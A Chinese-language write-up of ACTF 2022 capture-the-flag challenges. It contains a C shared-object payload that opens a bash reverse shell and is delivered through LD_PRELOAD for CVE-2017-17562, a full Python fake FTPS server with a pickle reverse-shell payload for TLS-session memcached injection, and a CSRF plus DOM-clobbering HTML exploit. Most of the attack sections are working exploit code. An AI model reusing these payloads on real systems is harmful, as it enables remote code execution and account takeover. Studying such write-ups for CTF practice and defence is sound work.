ACTF 2022

ACTF 2022

和学长一起熬大夜做不出来题真是太爽🌶️,下次继续

gogogo

是CVE,好耶

CVE-2017-17562

先写弹shell的so文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void aaanb(void)
{
    system("/bin/bash -c 'bash -i >& /dev/tcp/IP/端口 0>&1'");
}
//gcc -shared -fPIC ./payload.c -o payload.so

将生成的so文件作为文件发送,并且在请求头中添加LD_PRELOAD=/proc/self/fd/0,由于题目是公共环境。需要对最后数字进行爆破

ToLeSion

熬一晚上没做出来的题

还是学到了很多东西的,先看题,curl访问链接,看了一下剩下的我认识的协议只有FTPS了,又题目中写了使用了memcached,外加题目环境是python,最终找到了这个,大概流程就是通过TLS复用,将payload放到TLS进行身份识别的SessionID的位置,导致非法的内容被注入到memcached中,然后更改sessionID将实现pickle反序列化来反弹shell

本题具体流程如下

  • 首先伪造一个FTPS服务器,并且利用代理更改TLS中SessionID为我们的payload
  • 在受害者访问我们的FTPS服务器,通过被动连接的方式将数据链路的地址端口指向受害者本地的memcached服务
  • 此时受害者对数据链路进行TLS会话复用,将带有payload的TLS客户端请求发送到memcached服务,导致memcached命令执行,将我们构造的序列化内容写入到目标的memcached库中
  • 最后更改sessionID并重新访问网页,服务器取出序列化后内容反序列化,反弹shell

OK上面的流程都已经懂了,那么我们怎么实现呢,首先是伪造服务器(来自学长的完整脚本)

import os
import pickle
import socketserver
import sys

import redis
class Test2(object):
    def __reduce__(self):
        cmd = "bash -c 'exec bash -i &>/dev/tcp/IP/端口 <&1'"
        return (os.system,(cmd,))
pickle_code=pickle.dumps(Test2())
print(pickle_code)
length=len(pickle_code)
payload=b"\r\nset actfSession:J1an 0 0 "+str(len(pickle_code)).encode()+b"\r\n"+pickle_code+b"\r\n"
def set_payload(payload):
    r = redis.Redis(host='127.0.0.1', port=6379, db=0)
    print('payload len: ', len(payload), file=sys.stderr)
    r.set('payload', payload)
    return payload

print("设置的sessionid为:",set_payload(payload))
print("payload长度为:",len(payload))




class MyTCPHandler(socketserver.StreamRequestHandler):
    def handle(self):
        print(0,'[+] connected', self.request, file=sys.stderr)
        self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(1,self.data, file=sys.stderr,flush=True)
        self.request.sendall(b'230 Login successful.\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(2,self.data, file=sys.stderr)
        self.request.sendall(b'227 yolo\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(3,self.data, file=sys.stderr)
        self.request.sendall(b'227 yolo\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(4,self.data, file=sys.stderr)
        self.request.sendall(b'257 "/" is the current directory\r\n')
# vps:importlib/a/b
#         self.data = self.rfile.readline().strip().decode()
#         print(5,self.data, file=sys.stderr)
#         self.request.sendall(b'250 Directory successfully changed.\r\n')
#
#         self.data = self.rfile.readline().strip().decode()
#         print(6,self.data, file=sys.stderr)
#         self.request.sendall(b'250 Directory successfully changed.\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(7,self.data, file=sys.stderr)
        self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(8,self.data, file=sys.stderr)

        self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(9,self.data, file=sys.stderr)
        self.request.sendall(b'200 Switching to Binary mode.\r\n')
        # self.data = self.rfile.readline().strip().decode()
        # # assert 'SIZE refs' == self.data, self.data
        # self.finish()
        # print(10,self.data, file=sys.stderr)
        self.request.sendall(b'213 7\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'250 Requested file action okay, completed.')
        print("DIE.....")
        # exit()


print("使用端口:",sys.argv[1])

with socketserver.TCPServer(('0.0.0.0', int(sys.argv[1])), MyTCPHandler) as server:
    while True:
        print("start...")
        server.handle_request()
        open("stop", "w").write("OK")
        print("END....")
        # exit()

首先启动TLS的代理服务器,使用工具设置好了之后,导入证书私钥通过一下命令打开代理

TLS-poison/client-hello-poisoning/custom-tls/target/debug/custom-tls -p 11211 --certs /home/ubuntu/tls/fullchain.pem --key /home/ubuntu/tls/privkey.pem forward 2048

此时我们发往11211端口的带TLS的请求就会被解密并转发到2048端口,由于这个工具通过读取redis中的payload来传输数据,所以我们要先将payload存入redis,然后让受害者对我们服务器的11211端口发起FTPS请求,此时我们伪造的服务器会让受害者的服务器到127.0.0.1:11200去获取ftp传输的数据,进行TLS复用,数据被注入

后面就是赛后复盘的了

beWhatYouWannaBe

首先P1通过CSRF获取admin,并且此处的Token值可计算

const ValidateToken = (Token) => {
    var sha256 = crypto.createHash('sha256');
    return sha256.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex') === Token;
}
app.post('/beAdmin', (req, res) => {
    if (req.session.user != 'admin') {
        res.send("sorry, only admin can be admin")
        return
    }
    const username = req.body.username
    const csrftoken = req.body.csrftoken
    if (ValidateToken(csrftoken)) {
        User.updateMany({ username: username }, { isAdmin: true },
            (err, users) => {
                if (err) {
                    res.send('something error when being admin')
                    return
                }
                if (users.length == 0) {
                    res.send('no one can be admin')
                } else {
                    res.send('wow success wow')
                }
            }
        )
    } else {
        res.send('validate error')3
    }
})

获取P1的js构造如下

<form id="form" action="http://localhost:8000/beAdmin" method="post"> 
   	<input name="username" value="J1an">
   	<input id="csrftoken" name="csrftoken" value=""> 
</form>
<script src="https://cdn.jsdelivr.net/npm/crypto-js@4.0.0/crypto-js.js"></script>
<script>
  	var a=CryptoJS.SHA256(Math.sin(Math.floor(Date.now() / 1000)).toString()).toString();
 		csrftoken.value=a;
  	form.submit();
</script>

再来看P2

await page.setJavaScriptEnabled(false)
await page.goto(url, { timeout: 5000 })
const data = await page.evaluate((url, FLAG) => {
    if (fff.lll.aaa.ggg.value == "this_is_what_i_want") {
        return fetch(url + '?part2=' + btoa(encodeURIComponent(FLAG.substring(16))));
    } else {
        return fetch(url + '?there_is_no_flag')
    }
}, url, FLAG)

说白了就是构造一个html使得fff.lll.aaa.ggg.value == "this_is_what_i_want",使用这个小trick来嵌套构造元素,最终两者拼接构造出的html如下

<html>
<body>
    <iframe name=fff srcdoc="<form id=lll name=aaa><input name=ggg value=this_is_what_i_want></form><form id=lll></form>">
    <form id="form" action="http://localhost:8000/beAdmin" method="post"> 
   	<input name="username" value="J1an">
   	<input id="csrftoken" name="csrftoken" value=""> 
</form>
<script src="https://cdn.jsdelivr.net/npm/crypto-js@4.0.0/crypto-js.js"></script>
<script>
  	var a=CryptoJS.SHA256(Math.sin(Math.floor(Date.now() / 1000)).toString()).toString();
 		csrftoken.value=a;
  	form.submit();
</script>
</body>
</html>

poorui

基本全是非预期吧,登录flag去找flagbot要就行了ss